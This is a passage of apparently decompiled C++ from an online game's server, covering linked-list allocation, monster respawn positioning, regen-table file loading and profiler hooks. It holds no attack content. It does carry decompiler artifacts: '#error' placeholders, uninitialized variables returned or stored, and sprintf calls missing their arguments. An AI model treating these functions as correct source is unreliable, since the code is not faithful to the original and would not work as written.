this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy((void *)ele, *(const void **)v4, 0x64u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00482730) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #803 *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy((void *)ele, *(const void **)v4, 0x64u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00482780) -------------------------------------------------------- ORTable *__thiscall List::l_AllocZ(List *this, unsigned __int16 hnd) { ORTable *result; // eax@2 ListStruct *v3; // esi@3 int v4; // eax@3 unsigned __int16 v5; // bx@5 unsigned __int16 v6; // si@9 if ( hnd < this->l_MaxSize ) { v3 = this->l_Array; v4 = hnd; if ( v3[v4].ls_IsActiv ) { result = 0; } else { v5 = v3[v4].ls_Next; if ( v5 == hnd ) { this->l_Finger.empty = -1; } else { v3[v3[v4].ls_Prev].ls_Next = v5; this->l_Array[this->l_Array[v4].ls_Next].ls_Prev = this->l_Array[v4].ls_Prev; if ( this->l_Finger.empty == hnd ) this->l_Finger.empty = this->l_Array[v4].ls_Next; } v6 = this->l_Finger.store; if ( v6 == -1 ) { this->l_Array[v4].ls_Next = hnd; this->l_Array[v4].ls_Prev = hnd; this->l_Finger.store = hnd; } else { this->l_Array[v4].ls_Next = v6; this->l_Array[v4].ls_Prev = this->l_Array[this->l_Finger.store].ls_Prev; this->l_Array[this->l_Array[this->l_Finger.store].ls_Prev].ls_Next = hnd; this->l_Array[this->l_Finger.store].ls_Prev = hnd; } this->l_Array[v4].ls_IsActiv = 1; ++this->l_ListNum; result = this->l_Array[v4].ls_Content; } } else { result = 0; } return result; } //----- (00482870) -------------------------------------------------------- void __thiscall SafePointer::SafePointer(SafePointer *this) { SafePointer *v1; // esi@1 void *v2; // eax@1 OptionReader *v3; // eax@2 v1 = this; v2 = operator new(0x10854u); if ( v2 ) { OptionReader::OptionReader((OptionReader *)v2); v1->sp_pointer = v3; } else { v1->sp_pointer = 0; } } //----- (004828E0) -------------------------------------------------------- void __thiscall SafePointer::_SafePointer(SafePointer *this) { void *v1; // esi@1 v1 = this->sp_pointer; if ( this->sp_pointer ) { OptionReader::_OptionReader(this->sp_pointer); operator delete(v1); } } //----- (00482900) -------------------------------------------------------- void __cdecl std::fill(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Val) { FamilyMobManagement::MobSpeciesSlot *i; // eax@1 FamilyMobManagement::MobSpeciesSlot *v4; // edi@2 for ( i = _First; i != _Last; v4->mss_Killed = _Val->mss_Killed ) { v4 = i; *(_DWORD *)&i->mss_Species = *(_DWORD *)&_Val->mss_Species; ++i; } } //----- (00482930) -------------------------------------------------------- #error "482930: undefined or illegal type '#325' (funcsize=118)" //----- (00482B00) -------------------------------------------------------- #error "482B00: undefined or illegal type '#325' (funcsize=128)" //----- (00482CF0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_npc_FromTable() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_npc_FromTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_npc_FromTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_npc_FromTable"); } //----- (00482D30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_npc_FromTable(ShineObjectClass::ShineNPC *this) { ShineObjectClass::ShineNPC *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_npc_FromTable"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_npc_FromTable"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->sn_FromTable = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_npc_FromTable"); } //----- (00482D90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_KilledBy(ShineObjectClass::ShineNPC *this, #325 *a2, int damage, int aggrorate, unsigned int lot_rate) { ShineObjectClass::ShineNPC *v5; // esi@1 DebugLogging *v6; // eax@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_KilledBy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_KilledBy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v5->sn_FromTable ) { v6 = DebugLogging::operator<<(&NPCDeadLog, "ShineObjectClass::ShineNPC::so_KilledBy : NPC from table is killed"); DebugLogging::operator<<(v6, &deb_LF); } else { ShineObjectClass::ShineMob::so_KilledBy((#325 *)v5, (int)a2, damage, aggrorate); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_KilledBy"); } //----- (00482E60) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreeder::mb_Setregentime(void *this, int sec) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Setregentime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_Setregentime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 3) = sec; *((_DWORD *)v2 + 4) = sec; *((_DWORD *)v2 + 5) = sec; *((_DWORD *)v2 + 6) = sec; *((_DWORD *)v2 + 7) = sec; *((_DWORD *)v2 + 8) = sec; *((_DWORD *)v2 + 9) = sec; *((_DWORD *)v2 + 10) = sec; *((_DWORD *)v2 + 11) = sec; *((_DWORD *)v2 + 12) = sec; *((_DWORD *)v2 + 13) = sec; *((_DWORD *)v2 + 14) = sec; *((_DWORD *)v2 + 18) = *((_DWORD *)v2 + 3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Setregentime"); } //----- (00482EE0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::_MobBreederGroup(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // esi@1 void *v2; // esi@1 v1 = this; *(_DWORD *)this = MobRegenClass::MobBreederGroup::_vftable_; _eh_vector_destructor_iterator_( (char *)this + 24, 0x64u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)v1 = List::_vftable_; v2 = (void *)*((_DWORD *)v1 + 2); if ( v2 ) operator delete__(v2); } // 5B9548: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); // 5B96E0: using guessed type int (__thiscall *MobRegenClass__MobBreederGroup___vftable_[3])(List *this, int hnd); //----- (00482F50) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc) { MobRegenClass::MobBreederGroup *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 1632) = loc->x; *((_DWORD *)v2 + 1633) = loc->y; *((_DWORD *)v2 + 1634) = 50; *((_DWORD *)v2 + 1641) = 50; *((_DWORD *)v2 + 1635) = 0; *((_DWORD *)v2 + 1636) = 0; *((_DWORD *)v2 + 1638) = 0; *((_DWORD *)v2 + 1637) = 0; *((_DWORD *)v2 + 1640) = 0; *((_DWORD *)v2 + 1639) = 0; *((_DWORD *)v2 + 1642) = 2500; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_SetRegenLoc"); } //----- (00483000) -------------------------------------------------------- #error "483000: undefined or illegal type '#803' (funcsize=7)" //----- (00483020) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenLoc(MobRegenClass::MobBreederGroup *this, SHINE_XY_TYPE *loc, int *dir) { MobRegenClass::MobBreederGroup *v3; // esi@1 int v4; // ebx@1 bool v5; // zf@1 int v6; // ecx@2 int v7; // edx@2 char *v8; // eax@3 int v9; // edi@4 __int64 v10; // qax@6 signed int v11; // ebp@6 char result; // al@7 MobRegenClass::MobRegenLoc_Circular mc; // [sp+0h] [bp-120h]@2 FunctionEntarance _; // [sp+Ch] [bp-114h]@1 char groupname[256]; // [sp+10h] [bp-110h]@3 unsigned int v16; // [sp+110h] [bp-10h]@7 int v17; // [sp+11Ch] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "MobRegenClass::MobBreederGroup::mbg_RegenLoc"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenLoc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_RegenLoc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; *dir = *((_DWORD *)v3 + 1643); v5 = *((_DWORD *)v3 + 1635) == 0; v17 = 0; if ( v5 ) { v6 = *((_DWORD *)v3 + 1633); v7 = *((_DWORD *)v3 + 1632); mc.mrlc_Rad = *((_DWORD *)v3 + 1641); mc.mrlc_Y = v6; mc.mrlc_X = v7; MobRegenClass::MobRegenLoc_Circular::mrlc_Get(&mc, loc); } else { v8 = ORToken::ort_GetString((ORToken *)((char *)v3 + 6424), groupname); if ( *((_DWORD *)v3 + 1637) > 0 ) { v9 = rand() % (2 * *((_DWORD *)v3 + 1637)) - *((_DWORD *)v3 + 1637); v4 = rand() % (2 * *((_DWORD *)v3 + 1638)) - *((_DWORD *)v3 + 1638); } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_RegenLoc : Width Zero", v8); v9 = 0; } v10 = v4 * *((_DWORD *)v3 + 1640) + v9 * *((_DWORD *)v3 + 1639); v11 = (WORD2(v10) & 0x3FF) + v10; LODWORD(v10) = v4 * *((_DWORD *)v3 + 1639) - v9 * *((_DWORD *)v3 + 1640); loc->x = (v11 >> 10) + *((_DWORD *)v3 + 1632); loc->y = (signed int)v10 / 1024 + *((_DWORD *)v3 + 1633); } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenLoc"); __security_check_cookie(v16); return result; } //----- (004831E0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_Set(MobRegenClass::MobBreederGroup *this, ORToken *groupname, Name3 *map_, char fam, MobRegenStruct::RegenRegion *regreg) { MobRegenClass::MobBreederGroup *v5; // esi@1 unsigned int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_QWORD *)v5 + 803) = *(_QWORD *)&groupname->ort_Name[0]; *((_QWORD *)v5 + 804) = *(_QWORD *)&groupname->ort_Name[8]; *((_DWORD *)v5 + 1610) = *(_DWORD *)&groupname->ort_Name[16]; *((_BYTE *)v5 + 6444) = fam; *(_QWORD *)((char *)v5 + 6493) = *(_QWORD *)&map_->n3_name[0]; *(_DWORD *)((char *)v5 + 6501) = *(_DWORD *)&map_->n3_name[8]; *((_DWORD *)v5 + 1632) = regreg->rgs_CenterX; *((_DWORD *)v5 + 1633) = regreg->rgs_CenterY; *((_DWORD *)v5 + 1634) = regreg->rgs_Width; *((_DWORD *)v5 + 1635) = regreg->rgs_Height; *((_DWORD *)v5 + 1636) = regreg->rgs_Rotate; *((_DWORD *)v5 + 1644) = 0; v6 = regreg->rgs_Height; if ( v6 ) { *((_DWORD *)v5 + 1638) = v6; *((_DWORD *)v5 + 1637) = regreg->rgs_Width; *((_DWORD *)v5 + 1639) = (unsigned __int64)(cos((double)regreg->rgs_Rotate * 0.01745329) * 1024.0); *((_DWORD *)v5 + 1640) = (unsigned __int64)(sin((double)regreg->rgs_Rotate * 0.01745329) * 1024.0); } else { *((_DWORD *)v5 + 1641) = regreg->rgs_Rotate; *((_DWORD *)v5 + 1642) = regreg->rgs_Rotate * regreg->rgs_Rotate; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Set"); } //----- (00483340) -------------------------------------------------------- #803 *__thiscall MobRegenClass::MobBreederGroup::l_AllocA(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { List *v2; // esi@1 ORTable *v3; // esi@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = List::l_AllocA(v2, hnd); if ( v3 != 0 ) { v3->ort_HeaderList.orchl_fieldname[17] = 0; v3->ort_HeaderList.orchl_fieldname[16] = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_AllocA", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocA(ListHandle hnd)"); return (#803 *)v3; } //----- (00483410) -------------------------------------------------------- #803 *__thiscall MobRegenClass::MobBreederGroup::l_AllocZ(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { List *v2; // esi@1 ORTable *v3; // esi@1 v2 = (List *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = List::l_AllocZ(v2, hnd); if ( v3 != 0 ) { v3->ort_HeaderList.orchl_fieldname[17] = 0; v3->ort_HeaderList.orchl_fieldname[16] = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_AllocZ", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_AllocZ(ListHandle hnd)"); return (#803 *)v3; } //----- (004834E0) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocA(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd) { ORTable *v2; // eax@1 MobRegenClass::MobBreederGroup *v3; // esi@1 v2 = List::l_AllocA((List *)this, hnd); v3 = (MobRegenClass::MobBreederGroup *)v2; v2[3].ort_HeaderList.orchl_fieldname[44] = 0; v2[3].ort_HeaderList.orchl_fieldname[43] = 0; v2[3].ort_HeaderList.orchl_fieldname[42] = 0; v2[3].ort_HeaderList.orchl_fieldname[41] = 0; v2[3].ort_HeaderList.orchl_fieldname[40] = 0; strncpy( (char *)&v2[3].ort_HeaderList.orchl_fieldname[40], (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 0x14u); return v3; } //----- (00483520) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobRegenClass::MobRegenGroupList::l_AllocZ(MobRegenClass::MobRegenGroupList *this, unsigned __int16 hnd) { ORTable *v2; // eax@1 MobRegenClass::MobBreederGroup *v3; // esi@1 v2 = List::l_AllocZ((List *)this, hnd); v3 = (MobRegenClass::MobBreederGroup *)v2; v2[3].ort_HeaderList.orchl_fieldname[44] = 0; v2[3].ort_HeaderList.orchl_fieldname[43] = 0; v2[3].ort_HeaderList.orchl_fieldname[42] = 0; v2[3].ort_HeaderList.orchl_fieldname[41] = 0; v2[3].ort_HeaderList.orchl_fieldname[40] = 0; strncpy( (char *)&v2[3].ort_HeaderList.orchl_fieldname[40], (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 0x14u); return v3; } //----- (00483560) -------------------------------------------------------- void __thiscall MobHatchery::_MobHatchery(MobHatchery *this) { void *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = *(void **)((char *)this + (_DWORD)((char *)&wholesaver + 18452648)); *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452640)) = List::_vftable_; if ( v2 ) operator delete__(v2); _eh_vector_destructor_iterator_( v1, 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); } // 5B9564: using guessed type int (__stdcall *List_MobRegenClass__MobBreederGroup____vftable_[3])(__int16 hnd); //----- (004835A0) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobHatchery::mg_FindBreedGroup(MobHatchery *this, Name3 *map, ORToken groupname) { MobRegenClass::MobBreederGroup *result; // eax@2 int v4; // edx@3 unsigned __int16 v5; // ax@3 unsigned __int16 i; // dx@3 int v7; // esi@5 int v8; // eax@5 bool v9; // zf@5 int v10; // eax@5 int v11; // eax@6 unsigned int v12; // [sp+0h] [bp-4h]@0 if ( map ) { v4 = *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452648)); v5 = *(_WORD *)(v4 + 12 * *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452654)) + 4); for ( i = *(_WORD *)(v4 + 12 * *(_WORD *)(v4 + 12 * *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452654)) + 4) + 4); v5 < *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452644)); i = *(_WORD *)(*(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452648)) + 12 * i + 4) ) { v7 = *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452648)); v8 = 3 * v5; v9 = *(_BYTE *)(v7 + 4 * v8 + 8) == 0; v10 = v7 + 4 * v8; if ( v9 ) break; v11 = *(_DWORD *)v10; if ( !v11 ) break; if ( *(_DWORD *)&map->n3_name[0] == *(_DWORD *)(v11 + 6493) && *(_DWORD *)&map->n3_name[4] == *(_DWORD *)(v11 + 6497) && *(_DWORD *)&map->n3_name[8] == *(_DWORD *)(v11 + 6501) && *(_QWORD *)&groupname == *(_QWORD *)(v11 + 6424) && *(_QWORD *)&groupname.ort_Name[8] == *(_QWORD *)(v11 + 6432) && *(_DWORD *)&groupname.ort_Name[16] == *(_DWORD *)(v11 + 6440) ) break; if ( i >= *(_WORD *)((char *)this + (_DWORD)((char *)&wholesaver + 18452644)) ) break; v5 = i; } __security_check_cookie(v12); } else { __security_check_cookie(v12); } return result; } //----- (004836B0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreeder::mb_SetLeader(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int i; // ecx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetLeader"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetLeader"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; for ( i = *(_DWORD *)(a2 + 92); i; i = *(_DWORD *)(i + 92) ) v3 = i; *(_DWORD *)(v3 + 92) = v2; *((_DWORD *)v2 + 22) = v3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetLeader"); } //----- (00483720) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_SetBrain(void *this) { void *v1; // esi@1 int v2; // ecx@2 int v3; // eax@9 int v4; // ecx@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SetBrain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SetBrain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1884) + 4) + 45) ) { case 0: v2 = (int)((char *)v1 + 7936); goto LABEL_8; case 1: v2 = (int)((char *)v1 + 7960); goto LABEL_8; case 2: v2 = (int)((char *)v1 + 8016); goto LABEL_8; case 3: v2 = (int)((char *)v1 + 8040); goto LABEL_8; case 4: v2 = (int)((char *)v1 + 8096); goto LABEL_8; case 5: v2 = (int)((char *)v1 + 8152); LABEL_8: *((_DWORD *)v1 + 2052) = (*(int (__stdcall **)(void *, char *))(*(_DWORD *)v2 + 16))(v1, (char *)v1 + 7592); break; default: v3 = (*(int (__thiscall **)(char *, void *, char *))(*((_DWORD *)v1 + 1984) + 16))( (char *)v1 + 7936, v1, (char *)v1 + 7592); v4 = *((_DWORD *)v1 + 1884); *((_DWORD *)v1 + 2052) = v3; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SetBrain Not Case EnemyDetectType", *(_DWORD *)(*(_DWORD *)(v4 + 4) + 45)); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SetBrain"); } //----- (00483860) -------------------------------------------------------- void __thiscall KQRegenTable::_KQRegenTable(KQRegenTable *this) { void *v1; // ebp@1 OptionReader **v2; // edi@1 signed int v3; // ebx@1 void *v4; // esi@2 v1 = this; v2 = &this->kqrt_Array[0].or; v3 = 50; do { v4 = *v2; if ( *v2 ) { OptionReader::_OptionReader(*v2); operator delete(v4); } v2 += 4; --v3; } while ( v3 ); _eh_vector_destructor_iterator_( v1, 0x10u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004838E0) -------------------------------------------------------- void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this, char *fname) { char *v2; // eax@1 KQRegenTable *v3; // esi@1 char v4; // cl@2 signed int v5; // ecx@3 char v6; // al@4 int v7; // eax@9 void *v8; // eax@12 OptionReader *v9; // eax@13 int v10; // ST10_4@19 unsigned int v11; // ST04_4@19 char path[128]; // [sp+4h] [bp-190h]@15 char buffer[256]; // [sp+84h] [bp-110h]@2 unsigned int v14; // [sp+184h] [bp-10h]@19 int v15; // [sp+190h] [bp-4h]@12 v2 = fname; v3 = this; do { v4 = *v2; v2[buffer - fname] = *v2; ++v2; } while ( v4 ); v5 = 0; do { v6 = buffer[v5]; if ( !v6 ) break; if ( v6 == 46 ) { buffer[v5] = 0; break; } ++v5; } while ( v5 < 256 ); v7 = v3->kqrt_Number; if ( (unsigned int)v7 >= 0x32 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Too many kq regen table", v7); ShineExit("KQRegenTable::kqrt_Load"); } v8 = operator new(0x10854u); v15 = 0; if ( v8 ) OptionReader::OptionReader((OptionReader *)v8); else v9 = 0; v3->kqrt_Array[v3->kqrt_Number].or = v9; v15 = -1; sprintf(path, "../9Data/Shine/MobRegen/KingdomQuest/%s.txt"); if ( !OptionReader::or_Read(v3->kqrt_Array[v3->kqrt_Number].or, path) ) { sprintf(path, "../9Data/Shine/MobRegen/Instant/%s.txt"); if ( !OptionReader::or_Read(v3->kqrt_Array[v3->kqrt_Number].or, path) ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Error found", path); ShineExit("KQRegenTable::kqrt_Load"); } } v10 = (int)((char *)v3 + 16 * v3->kqrt_Number); *(_DWORD *)(v10 + 8) = 0; *(_DWORD *)(v10 + 4) = 0; *(_DWORD *)v10 = 0; strncpy((char *)v10, buffer, 0xCu); v11 = v3->kqrt_Number + 1; v3->kqrt_Number = v11; qsort(v3, v11, 0x10u, KQRegenTable::Element::Comp); __security_check_cookie(v14); } //----- (00483AC0) -------------------------------------------------------- #error "483AC0: undefined or illegal type '#434' (funcsize=74)" //----- (00483C00) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #803 *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, (const void *)ele, 0x64u); result = 1; } else { result = 0; } return result; } //----- (00483C30) -------------------------------------------------------- std::mem_fun_ref_t *__cdecl std::for_each>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::mem_fun_ref_t _Func) { std::vector >::iterator v4; // esi@1 std::mem_fun_ref_t *v5; // eax@3 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } else { do { (*(void (__thiscall **)(_DWORD))&_Func)(v4); *(_DWORD *)&v4 += 6; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } return v5; } //----- (00483C70) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy_backward(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest) { FamilyMobManagement::MobSpeciesSlot *v3; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 v3 = _Last; for ( result = _Dest; v3 != _First; result->mss_Killed = v3->mss_Killed ) { --v3; --result; *(_DWORD *)&result->mss_Species = *(_DWORD *)&v3->mss_Species; } return result; } //----- (00483CB0) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest) { FamilyMobManagement::MobSpeciesSlot *v3; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 FamilyMobManagement::MobSpeciesSlot *v5; // edi@2 unsigned __int16 v6; // si@2 v3 = _First; for ( result = _Dest; v3 != _Last; v5->mss_Killed = v6 ) { v5 = result; *(_DWORD *)&result->mss_Species = *(_DWORD *)&v3->mss_Species; v6 = v3->mss_Killed; ++v3; ++result; } return result; } //----- (00483CF0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00483D40) -------------------------------------------------------- #error "483D40: undefined or illegal type '#325' (funcsize=211)" //----- (00483FF0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(MobRegenClass::MobBreederGroup *this, char bNextRegen) { MobBreedRegenEnable Regeniter; // [sp+0h] [bp-14h]@1 int v4; // [sp+10h] [bp-4h]@1 Regeniter.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobBreedRegenEnable::_vftable_; Regeniter.m_bIsEnable = bNextRegen; v4 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&Regeniter); return 1; } // 5B972C: using guessed type int (__stdcall *MobBreedRegenEnable___vftable_)(int, __int16 handle); //----- (00484040) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreeder::mb_Set(void *this, int grp, __int16 mobid, int regensec, int regenCount) { void *v5; // ebx@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v5 = grp; *((_WORD *)v5 + 3) = mobid; *((_DWORD *)v5 + 2) = -1; memcpy((char *)v5 + 12, (const void *)regensec, 0x30u); v6 = *((_DWORD *)v5 + 3); *((_BYTE *)v5 + 68) = 1; *((_DWORD *)v5 + 16) = 10 * 